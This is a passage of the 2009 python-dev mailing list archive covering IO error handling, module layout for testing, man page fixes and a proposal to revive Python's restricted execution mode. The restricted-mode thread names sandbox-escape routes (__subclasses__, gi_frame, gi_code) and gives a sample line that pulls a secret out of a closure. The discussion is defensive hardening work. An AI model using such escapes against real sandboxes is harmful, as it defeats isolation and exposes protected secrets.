rule.) Your "legitimate programming error" is purely hypothetical, while the unactionable, confusing traceback caused by missing globals is real. If people want an exception from close() they can call it explicitly or use a context manager. When a file is closed implicitly by __del__, there is a chance of an impossible-to-avoid spurious traceback. I have dealt with such tracebacks in real life and there is nothing that can be done about them except ignore them. If you don't ignore them, users living 1000s of miles away and years later than the original programmer will be upset by spurious tracebacks that worry them to death. If you want to ensure buffers are flushed, why not call self.flush() for writable files outside the try/except? If flush() fails it *is* a real problem. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From rbp at isnomore.net Sun Feb 22 22:43:55 2009 From: rbp at isnomore.net (Rodrigo Bernardo Pimentel) Date: Sun, 22 Feb 2009 18:43:55 -0300 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> <200902121434.17723.victor.stinner@haypocalc.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> Message-ID: <20090222214355.GA12541@isnomore.net> [Sorry for stepping in so late] On Thu, Feb 12 2009 at 02:05:23PM BRST, "Daniel (ajax) Diniz" wrote: > Victor Stinner wrote: > > Oh, I realized that there is a component called "Unicode". So it should be > > possible to write a request to list all issues related to unicode. > > Nice, I'll add set this component for issues that don't have it. I can > still add people to these issues, if they want. I think this one might be considered a Unicode issue: http://bugs.python.org/issue1293741 "doctest runner cannot handle non-ascii characters" rbp From brett at python.org Sun Feb 22 22:54:25 2009 From: brett at python.org (Brett Cannon) Date: Sun, 22 Feb 2009 13:54:25 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: <20090222041232.GA25580@panix.com> References: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> <20090221234646.GA19226@panix.com> <20090222041232.GA25580@panix.com> Message-ID: On Sat, Feb 21, 2009 at 20:12, Aahz wrote: > On Sat, Feb 21, 2009, Brett Cannon wrote: > > On Sat, Feb 21, 2009 at 15:46, Aahz wrote: > >> On Sat, Feb 21, 2009, Brett Cannon wrote: > >>> > >>> I am seeing two approaches emerging. One is where pickle contains all > >>> Python code and then uses something like use_extension to make sure > >>> the original Python objects are still reachable at some point. This > >>> has the drawback that you have to use some function to make the > >>> extensions happen and there is some extra object storage. > >>> > >>> The other approach is having pickle contain code known not to > >>> be overridden by anyone, import _pypickle for stuff that may be > >>> overridden, and then import _pickle for whatever is available. This > >>> approach has the perk of using a standard practice for how to pull in > >>> different implementation. But the drawback, thanks to how globals are > >>> bound, is that any code pulled in from _pickle/_pypickle will not be > >>> able to call into other optimized code; it's a take or leave it once > >>> the call chain enters one of those modules as they will always call > >>> the implementations in the module they originate from. > >> > >> To what extent do we care about being able to select Python-only on a > >> per-module basis, particularly in the face of threaded imports? That > is, > >> we could have a sys.python_only attribute that gets checked on import. > >> That's simple and direct, and even allows per-module switching if the > >> application really cares and import doesn't need to worry about threads. > >> > >> Alternatively, sys.python_only could be a set, but that gets ugly about > >> setting from the application. (The module checks to see whether it's > >> listed in sys.python_only.) > >> > >> Maybe we should move this discussion to python-ideas for now to kick > >> around really oddball suggestions? > > > > This is all about testing. If a change is made to some extension code it > > should be mirrored in the Python code and vice-versa. > > Okay, I don't see how that is a response to my suggestion -- I can > imagine that someone might want to test a combination of pure-Python and > binary libraries. > I don't want to move it because this isn't some idea for a new feature that may or may not be useful; this isn't an "idea", it's needed. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From martin at v.loewis.de Sun Feb 22 23:15:41 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sun, 22 Feb 2009 23:15:41 +0100 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> Message-ID: <49A1CE8D.9000508@v.loewis.de> > I've already been maintaining the PJE-inspired ctypes-based approach > and monkeypatches for various Python versions for a while now. See > secure.py, secure25.py, secure26.py and secure30.py in: > > http://github.com/tav/plexnet/tree/9dabc570a2499689e773d1af3599a29102071f80/source/plexnet/util What is the objective of this code? Is it a complete sandbox? If not, is a complete sandbox based on it available somehow for review? Regards, Martin From brett at python.org Sun Feb 22 23:28:37 2009 From: brett at python.org (Brett Cannon) Date: Sun, 22 Feb 2009 14:28:37 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: <49A19977.7020305@voidspace.org.uk> References: <20090220205329.GA9829@panix.com> <49A19977.7020305@voidspace.org.uk> Message-ID: On Sun, Feb 22, 2009 at 10:29, Michael Foord wrote: > Steven Bethard wrote: > >> On Fri, Feb 20, 2009 at 1:45 PM, Brett Cannon wrote: >> >> >>> But there is another issue with this: the pure Python code will never >>> call >>> the extension code because the globals will be bound to _pypickle and not >>> _pickle. So if you have something like:: >>> >>> # _pypickle >>> def A(): return _B() >>> def _B(): return -13 >>> >>> # _pickle >>> def _B(): return 42 >>> >>> # pickle >>> from _pypickle import * >>> try: from _pickle import * >>> except ImportError: pass >>> >>> If you import pickle and call pickle.A() you will get -13 which is not >>> what >>> you are after. >>> >>> >> >> Maybe I've missed this and someone else already suggested it, but >> couldn't we provide a (probably C-coded) function >> ``replace_globals(module, globals)`` that would, say, replace the >> globals in _pypickle with the globals in pickle? Then you could write >> something like:: >> >> from _pypickle import * >> try: >> from _pickle import * >> module = __import__('_pickle') >> except ImportError: >> module = __import__('_pypickle') >> replace_globals(module, globals()) >> >> Steve >> >> > > Swapping out module globals seems to be a backwards way to do things to me. I agree; I would rather muck with sys.modules at that point. Why not have one set of tests that test the low level APIs (identical tests > whether they are written in C or Python) - and as they live in their own > module are easy to test in isolation. And then a separate set of tests for > the higher level APIs, which can even mock out the low level APIs they use. > There shouldn't be any need for switching out objects in the scope of the > lower level APIs - that seems like a design smell to me. That's possible. As I have said, my only worry with the separate py/extension module approach is that any time someone wants to do an extension version of something the Python code will need to be moved. But at this point I am honestly burning out on this topic (got a lot on my plate right now) so I am going to let somebody else lead this to the finish line. =) -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From solipsis at pitrou.net Sun Feb 22 23:46:41 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Sun, 22 Feb 2009 22:46:41 +0000 (UTC) Subject: [Python-Dev] Silencing IO errors on del/dealloc? References: Message-ID: Guido van Rossum python.org> writes: > > If you want to ensure buffers are flushed, why not call self.flush() > for writable files outside the try/except? If flush() fails it *is* a > real problem. Well, my concern is less about flushing writable files (they will be implemented in C and the flushing will probably be ok) than Python-written file-like types, like SocketIO or any third-party class. Anyway, let's keep silencing exceptions and we'll see if anyone complains about it. Regards Antoine. From ajaksu at gmail.com Mon Feb 23 01:51:17 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Sun, 22 Feb 2009 21:51:17 -0300 Subject: [Python-Dev] Silencing IO errors on del/dealloc? In-Reply-To: References: Message-ID: <2d75d7660902221651r4f4206e4o68babcb3bf1f3ae5@mail.gmail.com> Antoine Pitrou wrote: > Guido van Rossum python.org> writes: >> The svn history of those lines may have more pointers. > > Well this code dates back to the first checkin in the py3k branch. Apparently > the old p3yk branch is not there anymore... The history is available (see below), but tells nothing that would be useful/relevant. Daniel History of io.py is available on ViewVC: http://svn.python.org/view/python/branches/p3yk/Lib/io.py?view=log&pathrev=56853 It's possible to checkout that as a peg revision: svn co -r54910 http://svn.python.org/projects/python/branches/p3yk/Lib/@r54910 Then, svn blame tells where it comes from: 54728 guido.van.rossum def __del__(self) -> None: 54728 guido.van.rossum """Destructor. Calls close().""" 54728 guido.van.rossum # The try/except block is in case this is called at program 54728 guido.van.rossum # exit time, when it's possible that globals have already been 54728 guido.van.rossum # deleted, and then the close() call might fail. Since 54728 guido.van.rossum # there's nothing we can do about such failures and they annoy 54728 guido.van.rossum # the end users, we suppress the traceback. 54728 guido.van.rossum try: 54728 guido.van.rossum self.close() 54728 guido.van.rossum except: 54728 guido.van.rossum pass And here's the log for that rev: http://svn.python.org/view?view=rev&revision=54728 From krstic at solarsail.hcs.harvard.edu Mon Feb 23 03:09:19 2009 From: krstic at solarsail.hcs.harvard.edu (=?UTF-8?Q?Ivan_Krsti=C4=87?=) Date: Sun, 22 Feb 2009 21:09:19 -0500 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: <49A1CE8D.9000508@v.loewis.de> References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> <49A1CE8D.9000508@v.loewis.de> Message-ID: <5830A981-8BAB-4C57-8290-CD1E9171A0B6@solarsail.hcs.harvard.edu> On Feb 22, 2009, at 5:15 PM, Martin v. L?wis wrote: > What is the objective of this code? Is it a complete sandbox? > If not, is a complete sandbox based on it available somehow for > review? From a cursory look at Tav's CPython patch, I'd describe it as follows: Requires: an existing Python code execution environment which does not expose unsafe interpreter functionality to the (untrusted) code it runs, Provides: a way for the trusted code outside of that restricted environment to wrap functions (which may reference trusted objects) in closures which can be passed into the restricted environment as completely opaque objects whose internal state (including any referenced trusted objects) cannot be accessed from the untrusted code. When I say 'requires', I mean 'requires to be useful'; the patch can be applied to vanilla CPython, but isn't useful on its own. Building blocks for a restricted execution environment as required by the patch are commonly provided in templating libraries; Tav mentions Genshi in particular. By default, Genshi templates don't come with security built in -- you can do what you please in a template. However, since Genshi manually constructs a Python AST from Python code in the template, one can restrict the AST and modify the builtins exposed to the template environment, making things like filesystem access, import and other sensitive system facilities unavailable. Even with those unavailable, untrusted code can break out of containment by accessing object.__subclasses__ or gaining access to gi_frame and gi_code. This means you can't, for instance, pass into the untrusted code a closure which operates on trusted objects. Tav's patch addresses this particular problem. To give you a complete sandbox to play with, I just violently ripped out the relevant code from Genshi, added some glue, and slapped it all together in a single file along with Tav's pure-Python code which is functionally equivalent to the CPython patch he submitted. The result, tested on 2.5.1 and nothing else: As is, sandbox allows you to execute untrusted Python code which won't have access to import, __import__, eval, exec, execfile, open, and to which you can pass closures which reference trusted objects which the untrusted code can't get at. Example: >>> import sandbox >>> import sys >>> import md5 >>> def trusted_pwd_closure(password): ... def get_pwd(): ... return md5.md5(password).hexdigest() ... return get_pwd ... >>> context = dict(pwd=trusted_pwd_closure('secret')) >>> sandbox.run_string("print pwd()", context) >>> sandbox.run_string("print pwd.func_closure[0].cell_contents", context) [snip] AttributeError: 'function' object has no attribute 'func_closure' Without Tav's patch, the untrusted code can extract our password ('secret') from the closure with that last statement. To run whole files in the sandbox: >>> sandbox.run_file('/some/path/file.py') Finally, disclaimer: I put this together in *15 minutes*. I'm sure I missed something, this isn't secure, etc. It's just a proof of concept. Void where prohibited, etc. Cheers, -- Ivan Krsti? | http://radian.org From MLMLists at Comcast.net Mon Feb 23 02:58:47 2009 From: MLMLists at Comcast.net (Mitchell L Model) Date: Sun, 22 Feb 2009 20:58:47 -0500 Subject: [Python-Dev] .pythonrc.py in man page Message-ID: The python man page, dated 2005 even in 3.1, has this curious entry: ~/.pythonrc.py User-specific initialization file loaded by the user module; not used by default or by most applications. 1. I couldn't figure out what the user module is. 2. I couldn't figure out what "not used by default or by most applications" meant: what would cause it to get loaded when python starts up? how would an application load it even if the user's environment didn't cause it to get loaded? 3. Why would this file exist if the environment variable PYTHONSTARTUP can specify a file to be loaded at startup? Perhaps this entry in the man page is obsolete and should be removed? From guido at python.org Mon Feb 23 03:25:46 2009 From: guido at python.org (Guido van Rossum) Date: Sun, 22 Feb 2009 18:25:46 -0800 Subject: [Python-Dev] .pythonrc.py in man page In-Reply-To: References: Message-ID: On Sun, Feb 22, 2009 at 5:58 PM, Mitchell L Model wrote: > The python man page, dated 2005 even in 3.1, has this curious entry: > > ~/.pythonrc.py > User-specific initialization file loaded by the user module; > not > used by default or by most applications. > > 1. I couldn't figure out what the user module is. user.py. > 2. I couldn't figure out what "not used by default or by most applications" > meant: what would cause it to get loaded when python starts up? how would an > application load it even if the user's environment didn't cause it to get > loaded? The docstring in user.py explains this. > 3. Why would this file exist if the environment variable PYTHONSTARTUP can > specify a file to be loaded at startup? PYTHONSTARTUP is only used in interactive sessions. > Perhaps this entry in the man page is obsolete and should be removed? Not at all. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From daniel at stutzbachenterprises.com Mon Feb 23 03:30:25 2009 From: daniel at stutzbachenterprises.com (Daniel Stutzbach) Date: Sun, 22 Feb 2009 20:30:25 -0600 Subject: [Python-Dev] .pythonrc.py in man page In-Reply-To: References: Message-ID: On Sun, Feb 22, 2009 at 8:25 PM, Guido van Rossum wrote: > > Perhaps this entry in the man page is obsolete and should be removed? > > Not at all. > For what it's worth, the 2.6.1 documentation states: "Deprecated since version 2.6: The user module has been removed in Python 3.0." If user.py has indeed been removed, then Mitchell is correct. http://docs.python.org/library/user.html -- Daniel Stutzbach, Ph.D. President, Stutzbach Enterprises, LLC -------------- next part -------------- An HTML attachment was scrubbed... URL: From guido at python.org Mon Feb 23 03:43:50 2009 From: guido at python.org (Guido van Rossum) Date: Sun, 22 Feb 2009 18:43:50 -0800 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: <5830A981-8BAB-4C57-8290-CD1E9171A0B6@solarsail.hcs.harvard.edu> References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> <49A1CE8D.9000508@v.loewis.de> <5830A981-8BAB-4C57-8290-CD1E9171A0B6@solarsail.hcs.harvard.edu> Message-ID: I'm not familiar with Genshi -- what is the purpose of the AST transformation here? Traditionally, sandboxing environments in Python usually just exec the untrusted code in an environment with a __builtins__ dict that limits the built-in functions and overrides __import__ so as to provide an import implementation that allows import of pure-Python modules but not extensions (or only allows certain extensions that have been previously audited, or provides wrappers or subsets of selected others). --Guido On Sun, Feb 22, 2009 at 6:09 PM, Ivan Krsti? wrote: > On Feb 22, 2009, at 5:15 PM, Martin v. L?wis wrote: >> >> What is the objective of this code? Is it a complete sandbox? >> If not, is a complete sandbox based on it available somehow for >> review? > > From a cursory look at Tav's CPython patch, I'd describe it as follows: > > Requires: an existing Python code execution environment > which does not expose unsafe interpreter > functionality to the (untrusted) code it runs, > > Provides: a way for the trusted code outside of that > restricted environment to wrap functions > (which may reference trusted objects) in > closures which can be passed into the restricted > environment as completely opaque objects > whose internal state (including any referenced > trusted objects) cannot be accessed from the > untrusted code. > > When I say 'requires', I mean 'requires to be useful'; the patch can be > applied to vanilla CPython, but isn't useful on its own. > > Building blocks for a restricted execution environment as required by the > patch are commonly provided in templating libraries; Tav mentions Genshi in > particular. By default, Genshi templates don't come with security built in > -- you can do what you please in a template. However, since Genshi manually > constructs a Python AST from Python code in the template, one can restrict > the AST and modify the builtins exposed to the template environment, making > things like filesystem access, import and other sensitive system facilities > unavailable. > > Even with those unavailable, untrusted code can break out of containment by > accessing object.__subclasses__ or gaining access to gi_frame and gi_code. > This means you can't, for instance, pass into the untrusted code a closure > which operates on trusted objects. Tav's patch addresses this particular > problem. > > To give you a complete sandbox to play with, I just violently ripped out the > relevant code from Genshi, added some glue, and slapped it all together in a > single file along with Tav's pure-Python code which is functionally > equivalent to the CPython patch he submitted. The result, tested on 2.5.1 > and nothing else: > > > > As is, sandbox allows you to execute untrusted Python code which won't have > access to import, __import__, eval, exec, execfile, open, and to which you > can pass closures which reference trusted objects which the untrusted code > can't get at. > > Example: > >>>> import sandbox >>>> import sys >>>> import md5 >>>> def trusted_pwd_closure(password): > ... def get_pwd(): > ... return md5.md5(password).hexdigest() > ... return get_pwd > ... >>>> context = dict(pwd=trusted_pwd_closure('secret')) >>>> sandbox.run_string("print pwd()", context) >>>> sandbox.run_string("print pwd.func_closure[0].cell_contents", context) > [snip] > AttributeError: 'function' object has no attribute 'func_closure' > > Without Tav's patch, the untrusted code can extract our password ('secret') > from the closure with that last statement. > > To run whole files in the sandbox: >>>> sandbox.run_file('/some/path/file.py') > > Finally, disclaimer: I put this together in *15 minutes*. I'm sure I missed > something, this isn't secure, etc. It's just a proof of concept. Void where > prohibited, etc. > > Cheers, > > -- > Ivan Krsti? | http://radian.org > > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From guido at python.org Mon Feb 23 03:45:27 2009 From: guido at python.org (Guido van Rossum) Date: Sun, 22 Feb 2009 18:45:27 -0800 Subject: [Python-Dev] .pythonrc.py in man page In-Reply-To: References: Message-ID: On Sun, Feb 22, 2009 at 6:30 PM, Daniel Stutzbach wrote: > On Sun, Feb 22, 2009 at 8:25 PM, Guido van Rossum wrote: >> >> > Perhaps this entry in the man page is obsolete and should be removed? >> >> Not at all. > > For what it's worth, the 2.6.1 documentation states: "Deprecated since > version 2.6: The user module has been removed in Python 3.0." If user.py > has indeed been removed, then Mitchell is correct. > > http://docs.python.org/library/user.html Fair enough. I missed the 3.x context. Go ahead and fix the man page! -- --Guido van Rossum (home page: http://www.python.org/~guido/) From krstic at solarsail.hcs.harvard.edu Mon Feb 23 04:28:21 2009 From: krstic at solarsail.hcs.harvard.edu (=?ISO-8859-2?Q?Ivan_Krsti=E6?=) Date: Sun, 22 Feb 2009 22:28:21 -0500 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> <49A1CE8D.9000508@v.loewis.de> <5830A981-8BAB-4C57-8290-CD1E9171A0B6@solarsail.hcs.harvard.edu> Message-ID: <152D341F-2B44-45E5-BE42-F15179C1C2B5@solarsail.hcs.harvard.edu> On Feb 22, 2009, at 9:43 PM, Guido van Rossum wrote: > I'm not familiar with Genshi -- what is the purpose of the AST > transformation here? Sorry, I should have been clearer. If the only goal is to provide a restricted bare interpreter, you can certainly just exec with a restricted set of builtins and no __import__. Since Tav mentioned wanting restricted execution of Genshi templates in particular (which have a rather complicated mechanism for executing inline Python code), I threw together a realistic, self-contained 'restricting Genshi' demo which doesn't rely on outside restrictions, such as those provided by GAE. You can ignore the AST stuff; Genshi does it for its own (non- security) purposes. -- Ivan Krsti? | http://radian.org From pje at telecommunity.com Mon Feb 23 04:39:59 2009 From: pje at telecommunity.com (P.J. Eby) Date: Sun, 22 Feb 2009 22:39:59 -0500 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: References: Message-ID: <20090223033749.6C7743A4075@sparrow.telecommunity.com> At 08:45 AM 2/22/2009 -0800, Guido van Rossum wrote: >I've received some enthusiastic emails from someone who wants to >revive restricted mode. He started out with a bunch of patches to the >CPython runtime using ctypes, which he attached to an App Engine bug: > >http://code.google.com/p/googleappengine/issues/detail?id=671 > >Based on his code (the file secure.py is all you need, included in >secure.tar.gz) it seems he believes the only security leaks are >__subclasses__, gi_frame and gi_code. (I have since convinced him that >if we add "restricted" guards to these attributes, he doesn't need the >functions added to sys.) > >I don't recall the exploits that Samuele once posted that caused the >death of rexec.py -- does anyone recall, or have a pointer to the >threads? Just a question, but, if you just need a pure-python restricted environment for App Engine, why not just use the RestrictedPython package (i.e., http://pypi.python.org/pypi/RestrictedPython )? From guido at python.org Mon Feb 23 04:56:20 2009 From: guido at python.org (Guido van Rossum) Date: Sun, 22 Feb 2009 19:56:20 -0800 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: <20090223033749.6C7743A4075@sparrow.telecommunity.com> References: <20090223033749.6C7743A4075@sparrow.telecommunity.com> Message-ID: On Sun, Feb 22, 2009 at 7:39 PM, P.J. Eby wrote: > At 08:45 AM 2/22/2009 -0800, Guido van Rossum wrote: >> >> I've received some enthusiastic emails from someone who wants to >> revive restricted mode. He started out with a bunch of patches to the >> CPython runtime using ctypes, which he attached to an App Engine bug: >> >> http://code.google.com/p/googleappengine/issues/detail?id=671 >> >> Based on his code (the file secure.py is all you need, included in >> secure.tar.gz) it seems he believes the only security leaks are >> __subclasses__, gi_frame and gi_code. (I have since convinced him that >> if we add "restricted" guards to these attributes, he doesn't need the >> functions added to sys.) >> >> I don't recall the exploits that Samuele once posted that caused the >> death of rexec.py -- does anyone recall, or have a pointer to the >> threads? > > Just a question, but, if you just need a pure-python restricted environment > for App Engine, why not just use the RestrictedPython package (i.e., > http://pypi.python.org/pypi/RestrictedPython )? How does that work? Remember, app engine doesn't support certain things, and bytecode manipulations (if that's what RestrictedPython does) are one of the unsupported things. The other reason I can think of is that Tav is a capabilities purist. :-) -- --Guido van Rossum (home page: http://www.python.org/~guido/) From pje at telecommunity.com Mon Feb 23 05:14:54 2009 From: pje at telecommunity.com (P.J. Eby) Date: Sun, 22 Feb 2009 23:14:54 -0500 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: References: <20090223033749.6C7743A4075@sparrow.telecommunity.com> Message-ID: <20090223041244.984373A4075@sparrow.telecommunity.com> At 07:56 PM 2/22/2009 -0800, Guido van Rossum wrote: >On Sun, Feb 22, 2009 at 7:39 PM, P.J. Eby wrote: > > Just a question, but, if you just need a pure-python restricted environment > > for App Engine, why not just use the RestrictedPython package (i.e., > > http://pypi.python.org/pypi/RestrictedPython )? > >How does that work? Remember, app engine doesn't support certain >things, and bytecode manipulations (if that's what RestrictedPython >does) are one of the unsupported things. It doesn't modify bytecode, it modifies an AST. It basically replaces prints, and attribute/item read/writes with function calls. Unfortunately, it does this AST modification by running as a traversal against the stdlib compiler package's AST, not a modern AST. So, I suppose it might not be usable as-is on app engine. It does, however, have the advantage of having been used in Zope for oh, six or seven years now? ISTM that it first came out around the same time as Python 2.3, and the latest version just dropped support for Python 2.1 and 2.2. So, if you want something that wasn't thrown together in an afternoon, it might be a good thing to take a look at. ;-) >The other reason I can think of is that Tav is a capabilities purist. :-) You can implement capabilities on top of RestrictedPython; it's simply a policy-neutral enforcement framework. From aahz at pythoncraft.com Mon Feb 23 07:41:21 2009 From: aahz at pythoncraft.com (Aahz) Date: Sun, 22 Feb 2009 22:41:21 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> <20090221234646.GA19226@panix.com> <20090222041232.GA25580@panix.com> Message-ID: <20090223064120.GA22889@panix.com> On Sun, Feb 22, 2009, Brett Cannon wrote: > On Sat, Feb 21, 2009 at 20:12, Aahz wrote: >> On Sat, Feb 21, 2009, Brett Cannon wrote: >>> On Sat, Feb 21, 2009 at 15:46, Aahz wrote: >>>> On Sat, Feb 21, 2009, Brett Cannon wrote: >>>>> >>>>> I am seeing two approaches emerging. One is where pickle contains all >>>>> Python code and then uses something like use_extension to make sure >>>>> the original Python objects are still reachable at some point. This >>>>> has the drawback that you have to use some function to make the >>>>> extensions happen and there is some extra object storage. >>>>> >>>>> The other approach is having pickle contain code known not to >>>>> be overridden by anyone, import _pypickle for stuff that may be >>>>> overridden, and then import _pickle for whatever is available. This >>>>> approach has the perk of using a standard practice for how to pull in >>>>> different implementation. But the drawback, thanks to how globals are >>>>> bound, is that any code pulled in from _pickle/_pypickle will not be >>>>> able to call into other optimized code; it's a take or leave it once >>>>> the call chain enters one of those modules as they will always call >>>>> the implementations in the module they originate from. >>>> >>>> To what extent do we care about being able to select Python-only on a >>>> per-module basis, particularly in the face of threaded imports? That >> is, >>>> we could have a sys.python_only attribute that gets checked on import. >>>> That's simple and direct, and even allows per-module switching if the >>>> application really cares and import doesn't need to worry about threads. >>>> >>>> Alternatively, sys.python_only could be a set, but that gets ugly about >>>> setting from the application. (The module checks to see whether it's >>>> listed in sys.python_only.) >>>> >>>> Maybe we should move this discussion to python-ideas for now to kick >>>> around really oddball suggestions? >>> >>> This is all about testing. If a change is made to some extension code it >>> should be mirrored in the Python code and vice-versa. >> >> Okay, I don't see how that is a response to my suggestion -- I can >> imagine that someone might want to test a combination of pure-Python and >> binary libraries. > > I don't want to move it because this isn't some idea for a new feature that > may or may not be useful; this isn't an "idea", it's needed. That's fine, but what about my idea of using sys.python_only? -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From lcotton at broadcom.com Mon Feb 23 10:02:23 2009 From: lcotton at broadcom.com (Larry (Laurence) Cotton) Date: Mon, 23 Feb 2009 01:02:23 -0800 Subject: [Python-Dev] gdbinit and Gdb wrapper objects Message-ID: <2DFD360E328B3941911E6D28B085D9901027B5BF9B@SJEXCHCCR01.corp.ad.broadcom.com> Hi I am trying to use python gdb to debug a python process that is hanginig - it is a thread lock situation. I have been trying to use the gdbinit macros to help me in this, but when I attempt to access f->f_nlocals in a PyEval_EvalFrameEx object it informs There is no member named f_nlocals. Consequently pylocals does not work. 1) Does anyone have any idea why this might be happening ? 2) I have been unable to find any documentation (other than the gdbinit macros) about the make up of the Gdb wrapper objects and how to access the information in them. Does anyone know where I might get hold of some ? Cheers Larry Larry Cotton Software Engineer, System Test Broadcom, Cambridge Tel: +44 (0)1223 382835 -------------- next part -------------- An HTML attachment was scrubbed... URL: From martin at v.loewis.de Mon Feb 23 10:14:11 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Mon, 23 Feb 2009 10:14:11 +0100 Subject: [Python-Dev] gdbinit and Gdb wrapper objects In-Reply-To: <2DFD360E328B3941911E6D28B085D9901027B5BF9B@SJEXCHCCR01.corp.ad.broadcom.com> References: <2DFD360E328B3941911E6D28B085D9901027B5BF9B@SJEXCHCCR01.corp.ad.broadcom.com> Message-ID: <49A268E3.7020705@v.loewis.de> > I am trying to use python gdb to debug a python process that is hanginig > - it is a thread lock situation. Larry, python-dev is a mailing list for the development of Python, not the development with Python. So this question is off-topic. > 1) Does anyone have any idea why this might be happening ? Most likely, you didn't compile Python for debugging. > 2) I have been unable to find any documentation (other than the gdbinit > macros) about the make up of the Gdb wrapper objects and how to access > the information in them. Does anyone know where I might get hold of some ? I don't even know what a "Gdb wrapper object" is... Regards, Martin From ncoghlan at gmail.com Mon Feb 23 13:02:50 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Mon, 23 Feb 2009 22:02:50 +1000 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> <20090221234646.GA19226@panix.com> <20090222041232.GA25580@panix.com> Message-ID: <49A2906A.3030202@gmail.com> Brett Cannon wrote: > I don't want to move it because this isn't some idea for a new feature > that may or may not be useful; this isn't an "idea", it's needed. It is needed, but it's only really needed in the test suite. The "sys.modules hackery" needed to get a Python-only version using the existing idiom really isn't that complicated and the associated import behaviour is perfectly well defined (putting a 0 in sys.modules may currently be a bit questionable, but I'd prefer to make sure that is officially supported with the desired effect rather than trying to define a new idiom for the actual library code for handling optional optimised extension modules). So, I'm still not seeing any significant problem with providing a utility function in test.support that hides that hackery and returns the pure Python version of the module. For example, a version that allows any number of extension modules to be suppressed when importing a module (defaulting to the Foo/_Foo naming): import sys def import_python_only(mod_name, *ext_names): if not ext_names: ext_names = (("_" + mod_name),) orig_modules = {} if name in sys.modules: orig_modules[name] = sys.modules[name] del sys.modules[name] try: for name in ext_names: orig_modules[name] = sys.modules[name] sys.modules[name] = 0 py_module = importlib.import_module(mod_name) finally: for name, module in orig_modules.items(): sys.modules[name] = module return py_module Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From ziade.tarek at gmail.com Mon Feb 23 14:16:17 2009 From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=) Date: Mon, 23 Feb 2009 14:16:17 +0100 Subject: [Python-Dev] Greg Ward email Message-ID: <94bdd2610902230516u6395ee87q62cf94871e04d6bb@mail.gmail.com> Hello, I am trying to reach Greg Ward to get a maintainer access to Distutils at PyPI, but his email address at python.net (and some other) doesn't work anymore. Anyone knows how to reach him ? Thanks Tarek -- Tarek Ziad? | Association AfPy | www.afpy.org Blog FR | http://programmation-python.org Blog EN | http://tarekziade.wordpress.com/ From sjlaansr at hotmail.com Mon Feb 23 14:20:48 2009 From: sjlaansr at hotmail.com (Simon Laan) Date: Mon, 23 Feb 2009 14:20:48 +0100 Subject: [Python-Dev] socket recv on win32 can be extremly delayed $python bug?$ Message-ID: _________________________________________________________________ Blijf altijd op de hoogte van wat jouw vrienden doen http://home.live.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From guido at python.org Mon Feb 23 16:10:05 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 23 Feb 2009 07:10:05 -0800 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: <20090223041244.984373A4075@sparrow.telecommunity.com> References: <20090223033749.6C7743A4075@sparrow.telecommunity.com> <20090223041244.984373A4075@sparrow.telecommunity.com> Message-ID: On Sun, Feb 22, 2009 at 8:14 PM, P.J. Eby wrote: > At 07:56 PM 2/22/2009 -0800, Guido van Rossum wrote: >> >> On Sun, Feb 22, 2009 at 7:39 PM, P.J. Eby wrote: >> > Just a question, but, if you just need a pure-python restricted >> > environment >> > for App Engine, why not just use the RestrictedPython package (i.e., >> > http://pypi.python.org/pypi/RestrictedPython )? >> >> How does that work? Remember, app engine doesn't support certain >> things, and bytecode manipulations (if that's what RestrictedPython >> does) are one of the unsupported things. > > It doesn't modify bytecode, it modifies an AST. It basically replaces > prints, and attribute/item read/writes with function calls. If it rewrites *every* attribute read/write with a function call that can get really expensive. Are you saying it also replaces getitem/setitem? Even worse. > Unfortunately, > it does this AST modification by running as a traversal against the stdlib > compiler package's AST, not a modern AST. So, I suppose it might not be > usable as-is on app engine. 